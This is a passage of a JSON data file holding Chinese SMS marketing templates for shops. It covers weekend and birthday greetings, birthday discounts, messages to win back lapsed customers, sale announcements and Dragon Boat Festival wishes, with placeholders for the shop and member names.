* "TM_Content":"感谢您一直以来对#店铺名称#的支持,值此周末之际,祝您和您的家人周末愉快!","TM_Creator":null,"TM_Update":null,"TM_CreatorTime":null,"TM_UpdateTime":null,
* "CY_GID":null,"TM_Group":3},{"GID":"547d960e-0dd4-11e6-b99f-1c872c481c7f","TC_GID":"d9eb0e3b-10da-11e6-9174-1c872c481c7f",
* "TC_ClassName":"周末祝福","TC_ClassCode":"018","TM_Name":null,"TM_Content":"时间因祝福而流光溢彩,空气因祝福而芬芳袭人,心情因祝福而花开灿烂,当你打开信息时,愿祝福让你开心此时此刻!周末愉快!",
* "TM_Creator":null,"TM_Update":null,"TM_CreatorTime":null,"TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},
* {"GID":"548577c6-0dd4-11e6-b99f-1c872c481c7f","TC_GID":"d9eb0e3b-10da-11e6-9174-1c872c481c7f","TC_ClassName":"周末祝福","TC_ClassCode":"018",
* "TM_Name":null,"TM_Content":"别因太多的忙碌冷淡了温柔,别因太多的追求湮没了享受,工作不是人生的全部,停停匆匆的脚步,请享受生活的赐福!周末愉快!","TM_Creator":null,"TM_Update":null,
* "TM_CreatorTime":null,"TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},{"GID":"548bbabd-0dd4-11e6-b99f-1c872c481c7f",
* "TC_GID":"d9eb0e3b-10da-11e6-9174-1c872c481c7f","TC_ClassName":"周末祝福","TC_ClassCode":"018","TM_Name":null,
* "TM_Content":"轻松问个好,千里迢迢,尽显真诚关照。如果你笑了,祝你心情好的目的达到;如果你没笑,说明短信初步没见效。还得常聊,这样感情牢靠,心情更好! ","TM_Creator":null,"TM_Update":null,
* "TM_CreatorTime":null,"TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},{"GID":"54928cba-0dd4-11e6-b99f-1c872c481c7f",
* "TC_GID":"d9eb0e3b-10da-11e6-9174-1c872c481c7f","TC_ClassName":"周末祝福","TC_ClassCode":"018","TM_Name":null,
* "TM_Content":"偶尔的繁忙,不代表淡忘;新一天的到来,愿你心情舒畅;曾落下的问候,这次一起补偿;所有的关心,凝聚成这条短信,愿你每一个明天都比今天幸福 ","TM_Creator":null,"TM_Update":null,
* "TM_CreatorTime":null,"TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},{"GID":"549c4b6c-0dd4-11e6-b99f-1c872c481c7f",
* "TC_GID":"d9f44446-10da-11e6-9174-1c872c481c7f","TC_ClassName":"生日祝福","TC_ClassCode":"019","TM_Name":null,
* "TM_Content":"以后每年的这一天,我都会待在你身边,除了送上实惠,还要说一句真诚的祝福:生日快乐!愿新的一岁好运不断,天天开心!","TM_Creator":null,"TM_Update":null,"TM_CreatorTime":null,
* "TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},{"GID":"54a2df0f-0dd4-11e6-b99f-1c872c481c7f",
* "TC_GID":"d9f44446-10da-11e6-9174-1c872c481c7f","TC_ClassName":"生日祝福","TC_ClassCode":"019","TM_Name":null,
* "TM_Content":"青春、阳光、欢笑,这是属于你的日子。不管距离是近是远,不管生活是忙是闲,我的祝福又一次准时到来,祝你生日快乐!","TM_Creator":null,"TM_Update":null,"TM_CreatorTime":null,
* "TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},{"GID":"54ad6e14-0dd4-11e6-b99f-1c872c481c7f",
* "TC_GID":"d9f44446-10da-11e6-9174-1c872c481c7f","TC_ClassName":"生日祝福","TC_ClassCode":"019","TM_Name":null,
* "TM_Content":"每一年,我都会圈着日历上这一页,为你,我的朋友,献上祝福,生日快乐!我为你准备了一个小礼物,本周进店即可领取。","TM_Creator":null,"TM_Update":null,"TM_CreatorTime":null,
* "TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},{"GID":"54b3f07e-0dd4-11e6-b99f-1c872c481c7f",
* "TC_GID":"d9f44446-10da-11e6-9174-1c872c481c7f","TC_ClassName":"生日祝福","TC_ClassCode":"019","TM_Name":null,
* "TM_Content":"当我把神灯擦三下,灯神问我想许什么愿?我说:我想让你帮我保佑正在看这条讯息的人,希望那人生日快乐,永远幸福!","TM_Creator":null,"TM_Update":null,"TM_CreatorTime":null,
* "TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},{"GID":"54ba7c4b-0dd4-11e6-b99f-1c872c481c7f",
* "TC_GID":"d9f44446-10da-11e6-9174-1c872c481c7f","TC_ClassName":"生日祝福","TC_ClassCode":"019","TM_Name":null,
* "TM_Content":"在这个阳光灿烂的日子里,祝您身体健康,心情愉快!在这个特别的日子里,为您送上最真挚的祝福,祝您:生日快乐!家庭幸福!事业辉煌!","TM_Creator":null,"TM_Update":null,"TM_CreatorTime":null,
* "TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},{"GID":"54c47a39-0dd4-11e6-b99f-1c872c481c7f",
* "TC_GID":"d9f44446-10da-11e6-9174-1c872c481c7f","TC_ClassName":"生日祝福","TC_ClassCode":"019","TM_Name":null,
* "TM_Content":"年年有今朝,岁岁乐陶陶。愿你一直保持嘴角30度的微笑弧度,永远拥有内心100度的青春热度。请感受来自#店铺名称#120度真诚的祝福温度:生日快乐! ","TM_Creator":null,"TM_Update":null,
* "TM_CreatorTime":null,"TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},{"GID":"54c9f118-0dd4-11e6-b99f-1c872c481c7f",
* "TC_GID":"d9f44446-10da-11e6-9174-1c872c481c7f","TC_ClassName":"生日祝福","TC_ClassCode":"019","TM_Name":null,
* "TM_Content":"不是每个清晨都有朝阳,不是每个夜晚都有清凉,不是每个帆船都能远航,不是每个人生都有辉煌,但是每个生日都有我的祝福永不忘,愿你快乐永健康,笑容常挂在脸上。 ","TM_Creator":null,"TM_Update":null,
* "TM_CreatorTime":null,"TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},{"GID":"54d1b5e6-0dd4-11e6-b99f-1c872c481c7f",
* "TC_GID":"d9f44446-10da-11e6-9174-1c872c481c7f","TC_ClassName":"生日祝福","TC_ClassCode":"019","TM_Name":null,
* "TM_Content":"春天和你漫步在盛开的花丛间,夏天夜晚陪你一起看星星眨眼,秋天黄昏与你徜徉在金色麦田,冬天雪花飞舞有你更加温暖。怎么样,看到这几句话不自觉的唱了起来了吗?!在您生日的今天,#店铺名称#的祝福就像这个旋律一样,根本停不下来!祝您生日快乐。 ",
* "TM_Creator":null,"TM_Update":null,"TM_CreatorTime":null,"TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},
* {"GID":"54d81ae0-0dd4-11e6-b99f-1c872c481c7f","TC_GID":"d9f44446-10da-11e6-9174-1c872c481c7f","TC_ClassName":"生日祝福","TC_ClassCode":"019",
* "TM_Name":null,"TM_Content":"因为你的降临,这一天成了一个美丽的日子,从此世界便多了一抹诱人的色彩,#店铺名称#也将因为你的光临蓬荜生辉。祝你生日快乐!","TM_Creator":null,"TM_Update":null,
* "TM_CreatorTime":null,"TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},{"GID":"54dfb739-0dd4-11e6-b99f-1c872c481c7f",
* "TC_GID":"d9f44446-10da-11e6-9174-1c872c481c7f","TC_ClassName":"生日祝福","TC_ClassCode":"019","TM_Name":null,
* "TM_Content":"祝您生日快乐,更多好运。真诚感谢您对#店铺名称#的支持和厚爱。祝您的人生、事业如皓月当空,天地无限!","TM_Creator":null,"TM_Update":null,"TM_CreatorTime":null,
* "TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},{"GID":"54e55c74-0dd4-11e6-b99f-1c872c481c7f",
* "TC_GID":"d9f44446-10da-11e6-9174-1c872c481c7f","TC_ClassName":"生日祝福","TC_ClassCode":"019","TM_Name":null,
* "TM_Content":"圣旨到!奉天承运,皇帝诏曰:#会员名称#寿辰已至,特赐短信一条。内有平安一生,快乐一 世,幸福一辈子。#会员名称#执此圣旨可前往#店铺名称#领取寿礼一份。钦此! ","TM_Creator":null,"TM_Update":null,
* "TM_CreatorTime":null,"TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},{"GID":"54eeab7d-0dd4-11e6-b99f-1c872c481c7f",
* "TC_GID":"d9f44446-10da-11e6-9174-1c872c481c7f","TC_ClassName":"生日祝福","TC_ClassCode":"019","TM_Name":null,
* "TM_Content":"送你一份温馨,两份问候,三份美好,四份懵懂,五份高贵,六份前程,七份典雅,八份柔情,九份财运,十份真诚。生日快乐!","TM_Creator":null,"TM_Update":null,"TM_CreatorTime":null,
* "TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},{"GID":"54f93aeb-0dd4-11e6-b99f-1c872c481c7f",
* "TC_GID":"d9f44446-10da-11e6-9174-1c872c481c7f","TC_ClassName":"生日祝福","TC_ClassCode":"019","TM_Name":null,
* "TM_Content":"大海啊他全是水,蜘蛛啊他全是腿,辣椒啊他真辣嘴,认识你啊真不后悔。#店铺名称#祝你生日快乐,天天开怀合不拢嘴。","TM_Creator":null,"TM_Update":null,"TM_CreatorTime":null,
* "TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},{"GID":"5507b726-0dd4-11e6-b99f-1c872c481c7f",
* "TC_GID":"da076d47-10da-11e6-9174-1c872c481c7f","TC_ClassName":"生日促销","TC_ClassCode":"020","TM_Name":null,
* "TM_Content":"如果能与您一起度过这个特别的日子,#店铺名称#将倍感荣幸,我们真心祝您生日快乐,并为您准备了小礼物,期待您的光临!","TM_Creator":null,"TM_Update":null,"TM_CreatorTime":null,
* "TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},{"GID":"550da7a1-0dd4-11e6-b99f-1c872c481c7f",
* "TC_GID":"da076d47-10da-11e6-9174-1c872c481c7f","TC_ClassName":"生日促销","TC_ClassCode":"020","TM_Name":null,
* "TM_Content":"#店铺名称#衷心祝您生日快乐,我们给您准备了一份精美的小礼物,生日当天在本店消费专属8折特惠哦,期待您的光临!","TM_Creator":null,"TM_Update":null,"TM_CreatorTime":null,
* "TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},{"GID":"5513fcbb-0dd4-11e6-b99f-1c872c481c7f",
* "TC_GID":"da076d47-10da-11e6-9174-1c872c481c7f","TC_ClassName":"生日促销","TC_ClassCode":"020","TM_Name":null,
* "TM_Content":"#店铺名称#全体员工祝您生日快乐!我们为您准备了专属的生日小礼物,快来进店领取吧~","TM_Creator":null,"TM_Update":null,"TM_CreatorTime":null,"TM_UpdateTime":null,
* "CY_GID":null,"TM_Group":3},{"GID":"551a5a35-0dd4-11e6-b99f-1c872c481c7f","TC_GID":"da076d47-10da-11e6-9174-1c872c481c7f",
* "TC_ClassName":"生日促销","TC_ClassCode":"020","TM_Name":null,"TM_Content":"亲爱的#会员名称#,明天是您的生日,祝您好运!#店铺名称#已给您发送了20元生日礼金,赶快进店买份礼物吧",
* "TM_Creator":null,"TM_Update":null,"TM_CreatorTime":null,"TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},
* {"GID":"5520ccb6-0dd4-11e6-b99f-1c872c481c7f","TC_GID":"da076d47-10da-11e6-9174-1c872c481c7f","TC_ClassName":"生日促销","TC_ClassCode":"020",
* "TM_Name":null,"TM_Content":"尊敬的#会员名称#,您生日之际#店铺名称#衷心祝您生日快乐,生日当日指定消费5倍积分及精美礼物,祝您生活幸福!","TM_Creator":null,"TM_Update":null,
* "TM_CreatorTime":null,"TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},{"GID":"552a91f4-0dd4-11e6-b99f-1c872c481c7f",
* "TC_GID":"da076d47-10da-11e6-9174-1c872c481c7f","TC_ClassName":"生日促销","TC_ClassCode":"020","TM_Name":null,
* "TM_Content":"尊敬的#会员名称#:值此您生日之际,#店铺名称#衷心祝您生日快乐,阖家幸福!温馨提示,生日当天来店消费可获积分翻倍!","TM_Creator":null,"TM_Update":null,"TM_CreatorTime":null,
* "TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},{"GID":"5531b311-0dd4-11e6-b99f-1c872c481c7f",
* "TC_GID":"da076d47-10da-11e6-9174-1c872c481c7f","TC_ClassName":"生日促销","TC_ClassCode":"020","TM_Name":null,
* "TM_Content":"#店铺名称#所有工作人员祝您生日快乐!本周进店专享8折,只属于你的秘密优惠,我们还为您准备了精美的生日礼物,期待光临!","TM_Creator":null,"TM_Update":null,"TM_CreatorTime":null,
* "TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},{"GID":"55382afe-0dd4-11e6-b99f-1c872c481c7f",
* "TC_GID":"da076d47-10da-11e6-9174-1c872c481c7f","TC_ClassName":"生日促销","TC_ClassCode":"020","TM_Name":null,
* "TM_Content":"感谢您长期以来对#店铺名称#的支持,在这个特别的日子,我们为您准备了精美的生日礼物,本周内可领取,期待您的光临!","TM_Creator":null,"TM_Update":null,"TM_CreatorTime":null,
* "TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},{"GID":"553e6c25-0dd4-11e6-b99f-1c872c481c7f",
* "TC_GID":"da076d47-10da-11e6-9174-1c872c481c7f","TC_ClassName":"生日促销","TC_ClassCode":"020","TM_Name":null,"TM_Content":"亲爱的#会员名称#(先生/女士)
* :#店铺名称#以短信的形式向您送上最实惠的生日礼物\u2014\u2014本周内凭此短信消费专享8折优惠。","TM_Creator":null,"TM_Update":null,"TM_CreatorTime":null,"TM_UpdateTime":null,
* "CY_GID":null,"TM_Group":3},{"GID":"554753ab-0dd4-11e6-b99f-1c872c481c7f","TC_GID":"da076d47-10da-11e6-9174-1c872c481c7f",
* "TC_ClassName":"生日促销","TC_ClassCode":"020","TM_Name":null,
* "TM_Content":"有句话一直没敢对你说,可是你生日的时候再不说就没机会了:本周来#店铺名称#消费,专属8折优惠,私密专享,并有精美小礼物送上,#店铺名称#全体工作人员祝您生日快乐!","TM_Creator":null,"TM_Update":null,
* "TM_CreatorTime":null,"TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},{"GID":"554de075-0dd4-11e6-b99f-1c872c481c7f",
* "TC_GID":"da076d47-10da-11e6-9174-1c872c481c7f","TC_ClassName":"生日促销","TC_ClassCode":"020","TM_Name":null,
* "TM_Content":"感谢您长期以来对#店铺名称#的支持,今天是个特别的日子,我们为您准备了一份生日礼物,本周内进店即领,恭候您的光临!","TM_Creator":null,"TM_Update":null,"TM_CreatorTime":null,
* "TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},{"GID":"555484ac-0dd4-11e6-b99f-1c872c481c7f",
* "TC_GID":"da076d47-10da-11e6-9174-1c872c481c7f","TC_ClassName":"生日促销","TC_ClassCode":"020","TM_Name":null,
* "TM_Content":"这是#店铺名称#陪伴您度过的第X个生日,感谢您长期以来的支持,生日当天您可专享店内商品8折优惠,还有精美礼物等您拿!","TM_Creator":null,"TM_Update":null,"TM_CreatorTime":null,
* "TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},{"GID":"55b18614-0dd4-11e6-b99f-1c872c481c7f",
* "TC_GID":"da1dbf25-10da-11e6-9174-1c872c481c7f","TC_ClassName":"流失顾客挽回","TC_ClassCode":"022","TM_Name":null,"TM_Content":"亲爱的#会员名称#(先生/女士)
* :上次一别已经两个月未见,欢迎进店小酌咖啡一杯,#店铺名称#希望聆听您最近发生的故事。","TM_Creator":null,"TM_Update":null,"TM_CreatorTime":null,"TM_UpdateTime":null,"CY_GID":null,
* "TM_Group":3},{"GID":"55b7b65b-0dd4-11e6-b99f-1c872c481c7f","TC_GID":"da1dbf25-10da-11e6-9174-1c872c481c7f","TC_ClassName":"流失顾客挽回",
* "TC_ClassCode":"022","TM_Name":null,"TM_Content":"亲爱的#会员名称#(先生/女士):本周#店铺名称#5年店庆,是您的支持和信任让我们不断发展,老朋友感恩回馈,全 场8折,期待本周与您重逢!","TM_Creator":null,
* "TM_Update":null,"TM_CreatorTime":null,"TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},{"GID":"55c1a62a-0dd4-11e6-b99f-1c872c481c7f",
* "TC_GID":"da1dbf25-10da-11e6-9174-1c872c481c7f","TC_ClassName":"流失顾客挽回","TC_ClassCode":"022","TM_Name":null,"TM_Content":"亲爱的#会员名称#(先生/女士)
* :您已经3个月没来#店铺名称#了,我们全体店员都非常想念您,近期大量新品上架,一定有您喜欢的,期待您再次光临。","TM_Creator":null,"TM_Update":null,"TM_CreatorTime":null,"TM_UpdateTime":null,
* "CY_GID":null,"TM_Group":3},{"GID":"55c86a9a-0dd4-11e6-b99f-1c872c481c7f","TC_GID":"da1dbf25-10da-11e6-9174-1c872c481c7f",
* "TC_ClassName":"流失顾客挽回","TC_ClassCode":"022","TM_Name":null,"TM_Content":"#店铺名称#怀念与您相处的每一个瞬间,为了回馈您一直以来对本店的关照。8.1\u20148
* .7期间,老客户进店消费专享8折,部分商品折上再折,期待您再次莅临本店!","TM_Creator":null,"TM_Update":null,"TM_CreatorTime":null,"TM_UpdateTime":null,"CY_GID":null,
* "TM_Group":3},{"GID":"55d0e271-0dd4-11e6-b99f-1c872c481c7f","TC_GID":"da1dbf25-10da-11e6-9174-1c872c481c7f","TC_ClassName":"流失顾客挽回",
* "TC_ClassCode":"022","TM_Name":null,"TM_Content":"亲爱的#会员名称#(先生/女士):您已经3个月没来#店铺名称#了,我们全体店员都非常想念您,近期大量新品上架,一定有您喜欢的,期待您再次光临。",
* "TM_Creator":null,"TM_Update":null,"TM_CreatorTime":null,"TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},
* {"GID":"55d82a13-0dd4-11e6-b99f-1c872c481c7f","TC_GID":"da1dbf25-10da-11e6-9174-1c872c481c7f","TC_ClassName":"流失顾客挽回","TC_ClassCode":"022",
* "TM_Name":null,"TM_Content":"亲爱的#会员名称#(先生/女士):您已经3个月没来#店铺名称#了,如果我们的工作有不到位的地方,还请您指正,真诚希望向您提供最优质的产品和服务!","TM_Creator":null,"TM_Update":null,
* "TM_CreatorTime":null,"TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},{"GID":"55dea627-0dd4-11e6-b99f-1c872c481c7f",
* "TC_GID":"da1dbf25-10da-11e6-9174-1c872c481c7f","TC_ClassName":"流失顾客挽回","TC_ClassCode":"022","TM_Name":null,"TM_Content":"亲爱的#会员名称#(先生/女士)
* :本周#店铺名称#5年店庆,是您的支持和信任让我们不断发展,老朋友感恩回馈,全场8折,期待本周与您重逢!","TM_Creator":null,"TM_Update":null,"TM_CreatorTime":null,"TM_UpdateTime":null,
* "CY_GID":null,"TM_Group":3},{"GID":"55e69f6f-0dd4-11e6-b99f-1c872c481c7f","TC_GID":"da1dbf25-10da-11e6-9174-1c872c481c7f",
* "TC_ClassName":"流失顾客挽回","TC_ClassCode":"022","TM_Name":null,
* "TM_Content":"#店铺名称#希望向您提供最优质的服务,如果能得到您的宝贵意见,我们将倍感荣幸,X月X日-X月X日进店\u201c找茬\u201d享受折上8折的感恩优惠,不止是生意。","TM_Creator":null,"TM_Update":null,
* "TM_CreatorTime":null,"TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},{"GID":"55ee91fd-0dd4-11e6-b99f-1c872c481c7f",
* "TC_GID":"da1dbf25-10da-11e6-9174-1c872c481c7f","TC_ClassName":"流失顾客挽回","TC_ClassCode":"022","TM_Name":null,
* "TM_Content":"感谢向我们提出的建议,#店铺名称#已经积极做出相应改进,希望为您创造更优质的购物体验,下次进店凭此短信享受3倍积分,本短信有效期1个月。","TM_Creator":null,"TM_Update":null,
* "TM_CreatorTime":null,"TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},{"GID":"55f51f7d-0dd4-11e6-b99f-1c872c481c7f",
* "TC_GID":"da1dbf25-10da-11e6-9174-1c872c481c7f","TC_ClassName":"流失顾客挽回","TC_ClassCode":"022","TM_Name":null,
* "TM_Content":"感恩Party温暖你我!X月X日来#店铺名称#参与消费抽奖,中奖率100%,最高可获得200元代金券,幸运即将眷顾!","TM_Creator":null,"TM_Update":null,"TM_CreatorTime":null,
* "TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},{"GID":"55fccd75-0dd4-11e6-b99f-1c872c481c7f",
* "TC_GID":"da1dbf25-10da-11e6-9174-1c872c481c7f","TC_ClassName":"流失顾客挽回","TC_ClassCode":"022","TM_Name":null,
* "TM_Content":"温馨提示:您在#店铺名称#的3000积分即将过期,我们一直用心为您保管价值100元的小礼物,X月X日前进店即可免费兑换。","TM_Creator":null,"TM_Update":null,"TM_CreatorTime":null,
* "TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},{"GID":"646e934c-1298-11e6-9174-1c872c481c7f",
* "TC_GID":"945eb157-1296-11e6-9174-1c872c481c7f","TC_ClassName":"买赠满送","TC_ClassCode":"024","TM_Name":null,
* "TM_Content":"满100,减40!#店铺名称#2013年巨惠开卖!错过一天,后悔一年,所有实惠,只为回馈您长期以来的关照,期待光临。","TM_Creator":null,"TM_Update":null,"TM_CreatorTime":null,
* "TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},{"GID":"647dcda3-1298-11e6-9174-1c872c481c7f",
* "TC_GID":"945eb157-1296-11e6-9174-1c872c481c7f","TC_ClassName":"买赠满送","TC_ClassCode":"024","TM_Name":null,
* "TM_Content":"#店铺名称#7月火热大放送,清凉价格冰爽降温,全场满200减50,满300减100,活动截止日期:X月X日。","TM_Creator":null,"TM_Update":null,"TM_CreatorTime":null,
* "TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},{"GID":"64850c28-1298-11e6-9174-1c872c481c7f",
* "TC_GID":"945eb157-1296-11e6-9174-1c872c481c7f","TC_ClassName":"买赠满送","TC_ClassCode":"024","TM_Name":null,
* "TM_Content":"X月X日至X月X日#店铺名称#全场满300减100,更推出10种99元特价商品,凑单购物乐享划算!","TM_Creator":null,"TM_Update":null,"TM_CreatorTime":null,
* "TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},{"GID":"648eba61-1298-11e6-9174-1c872c481c7f",
* "TC_GID":"945eb157-1296-11e6-9174-1c872c481c7f","TC_ClassName":"买赠满送","TC_ClassCode":"024","TM_Name":null,
* "TM_Content":"#店铺名称#最实惠赠品清凉来袭!X月X日至X月X日购物满100元即送50元代金券,下次消费即可使用,超值划算不容错过。","TM_Creator":null,"TM_Update":null,"TM_CreatorTime":null,
* "TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},{"GID":"649a1a28-1298-11e6-9174-1c872c481c7f",
* "TC_GID":"946b58af-1296-11e6-9174-1c872c481c7f","TC_ClassName":"降价了","TC_ClassCode":"025","TM_Name":null,
* "TM_Content":"#店铺名称#新品价位创新低,全场3折起低至99元,仅限本周,让你在炎热的夏日冰爽一\u201c夏\u201d。","TM_Creator":null,"TM_Update":null,"TM_CreatorTime":null,
* "TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},{"GID":"64a8d873-1298-11e6-9174-1c872c481c7f",
* "TC_GID":"946b58af-1296-11e6-9174-1c872c481c7f","TC_ClassName":"降价了","TC_ClassCode":"025","TM_Name":null,
* "TM_Content":"冰点降价,凉爽来袭!X月X日至X月X日#店铺名称#单笔订单直降30元,你来或者不来,实惠就在那里,你买或不买,优惠就在那里。","TM_Creator":null,"TM_Update":null,"TM_CreatorTime":null,
* "TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},{"GID":"64b05a3a-1298-11e6-9174-1c872c481c7f",
* "TC_GID":"946b58af-1296-11e6-9174-1c872c481c7f","TC_ClassName":"降价了","TC_ClassCode":"025","TM_Name":null,
* "TM_Content":"#店铺名称#店主拍胸脯保证全市最优惠,会员进店即享折上9折,更有3倍积分,快快买起来!","TM_Creator":null,"TM_Update":null,"TM_CreatorTime":null,"TM_UpdateTime":null,
* "CY_GID":null,"TM_Group":3},{"GID":"64bb1356-1298-11e6-9174-1c872c481c7f","TC_GID":"946b58af-1296-11e6-9174-1c872c481c7f",
* "TC_ClassName":"降价了","TC_ClassCode":"025","TM_Name":null,"TM_Content":"比淘宝还便宜!#店铺名称#X月X日至X月X日新品3折起,逾期立即恢复原价,实惠疯抢刻不容缓!","TM_Creator":null,
* "TM_Update":null,"TM_CreatorTime":null,"TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},{"GID":"64c66ac0-1298-11e6-9174-1c872c481c7f",
* "TC_GID":"946b58af-1296-11e6-9174-1c872c481c7f","TC_ClassName":"降价了","TC_ClassCode":"025","TM_Name":null,
* "TM_Content":"#店铺名称#一向很贵,除了今天!只要199元享受原价399元完美体验,妞儿,再不疯抢真没了!","TM_Creator":null,"TM_Update":null,"TM_CreatorTime":null,"TM_UpdateTime":null,
* "CY_GID":null,"TM_Group":3},{"GID":"64d13468-1298-11e6-9174-1c872c481c7f","TC_GID":"946b58af-1296-11e6-9174-1c872c481c7f",
* "TC_ClassName":"降价了","TC_ClassCode":"025","TM_Name":null,"TM_Content":"#店铺名称#,您身边的优品秒杀。X月X日至X月X日每天推出一款商品,肯定有你喜欢的,只要1元,立刻开抢!",
* "TM_Creator":null,"TM_Update":null,"TM_CreatorTime":null,"TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},
* {"GID":"64dd4a8e-1298-11e6-9174-1c872c481c7f","TC_GID":"946b58af-1296-11e6-9174-1c872c481c7f","TC_ClassName":"降价了","TC_ClassCode":"025",
* "TM_Name":null,"TM_Content":"暑假大放送,整月不打烊,全场底价狂欢,学生党进店即享新品5折!再不买就老了!","TM_Creator":null,"TM_Update":null,"TM_CreatorTime":null,
* "TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},{"GID":"64e944a4-1298-11e6-9174-1c872c481c7f",
* "TC_GID":"946b58af-1296-11e6-9174-1c872c481c7f","TC_ClassName":"降价了","TC_ClassCode":"025","TM_Name":null,
* "TM_Content":"X月X日至X月X日#店铺名称#推出10样特价商品,原价389元的XXX,现在只要189!更多惊喜欢迎进店了解,现在不抢,后悔一年!","TM_Creator":null,"TM_Update":null,"TM_CreatorTime":null,
* "TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},{"GID":"64f21615-1298-11e6-9174-1c872c481c7f",
* "TC_GID":"946b58af-1296-11e6-9174-1c872c481c7f","TC_ClassName":"降价了","TC_ClassCode":"025","TM_Name":null,
* "TM_Content":"#店铺名称#也团购!X月X日至X月X日会员卡进店即办,和朋友一起进店消费,总额满1000元,立享8折,实惠不容错过。","TM_Creator":null,"TM_Update":null,"TM_CreatorTime":null,
* "TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},{"GID":"64fabc9a-1298-11e6-9174-1c872c481c7f",
* "TC_GID":"946b58af-1296-11e6-9174-1c872c481c7f","TC_ClassName":"降价了","TC_ClassCode":"025","TM_Name":null,
* "TM_Content":"感谢您一直以来对#店铺名称#的支持,实惠是我们最好的谢礼,X月X日至X月X日全市最低价感恩回馈,新品3折起,8折封顶,疯抢开始!","TM_Creator":null,"TM_Update":null,"TM_CreatorTime":null,
* "TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},{"GID":"948401bc-1299-11e6-9174-1c872c481c7f",
* "TC_GID":"b1206cd0-1296-11e6-9174-1c872c481c7f","TC_ClassName":"端午节","TC_ClassCode":"027","TM_Name":null,
* "TM_Content":"端午到了,我送你一个爱心粽子,第一层,体贴!第二层,关怀!第三层,浪漫!第四层,温馨!中间夹层,甜蜜!祝你天天都有一个好心情!","TM_Creator":null,"TM_Update":null,"TM_CreatorTime":null,
* "TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},{"GID":"949bc31f-1299-11e6-9174-1c872c481c7f",
* "TC_GID":"b1206cd0-1296-11e6-9174-1c872c481c7f","TC_ClassName":"端午节","TC_ClassCode":"027","TM_Name":null,
* "TM_Content":"一条短信息,祝福一串串:端午节到了,祝快快乐乐,开开心心;健健康康,轻轻松松;团团圆圆,恩恩爱爱;和和美美,红红火火!","TM_Creator":null,"TM_Update":null,"TM_CreatorTime":null,
* "TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},{"GID":"94a42d41-1299-11e6-9174-1c872c481c7f",
* "TC_GID":"b1206cd0-1296-11e6-9174-1c872c481c7f","TC_ClassName":"端午节","TC_ClassCode":"027","TM_Name":null,
* "TM_Content":"也许祝福是一种形式,但是却能给人的心灵带来温馨,希望我的祝福同样的能给你心灵带来温馨!朋友端午节快乐","TM_Creator":null,"TM_Update":null,"TM_CreatorTime":null,
* "TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},{"GID":"94ac9e20-1299-11e6-9174-1c872c481c7f",
* "TC_GID":"b1206cd0-1296-11e6-9174-1c872c481c7f","TC_ClassName":"端午节","TC_ClassCode":"027","TM_Name":null,
* "TM_Content":"端午粽子香,祝福要成双;安康福运送,收到就珍藏;顺心如意送,珍藏就吉祥。端午节将至,愿你的生活甜甜美美,事业顺顺利利!","TM_Creator":null,"TM_Update":null,"TM_CreatorTime":null,
* "TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},{"GID":"94bd1cf2-1299-11e6-9174-1c872c481c7f",
* "TC_GID":"b1206cd0-1296-11e6-9174-1c872c481c7f","TC_ClassName":"端午节","TC_ClassCode":"027","TM_Name":null,
* "TM_Content":"五月五,是端午,敲敲锣来打打鼓。吃粽子,赛龙舟,唱唱歌来跳跳舞。","TM_Creator":null,"TM_Update":null,"TM_CreatorTime":null,"TM_UpdateTime":null,"CY_GID":null,
* "TM_Group":3},{"GID":"94c7db60-1299-11e6-9174-1c872c481c7f","TC_GID":"b1206cd0-1296-11e6-9174-1c872c481c7f","TC_ClassName":"端午节",
* "TC_ClassCode":"027","TM_Name":null,"TM_Content":"端午节到了,愿粽子带给你好运!祝你:工作\u201c粽\u201d被领导夸,生活\u201c粽\u201d是多美梦,钱财\u201c粽\u201d是赚不完,朋友\u201c
* 粽\u201d是很贴心,笑容\u201c粽\u201d是把你恋。","TM_Creator":null,"TM_Update":null,"TM_CreatorTime":null,"TM_UpdateTime":null,"CY_GID":null,"TM_Group":3},
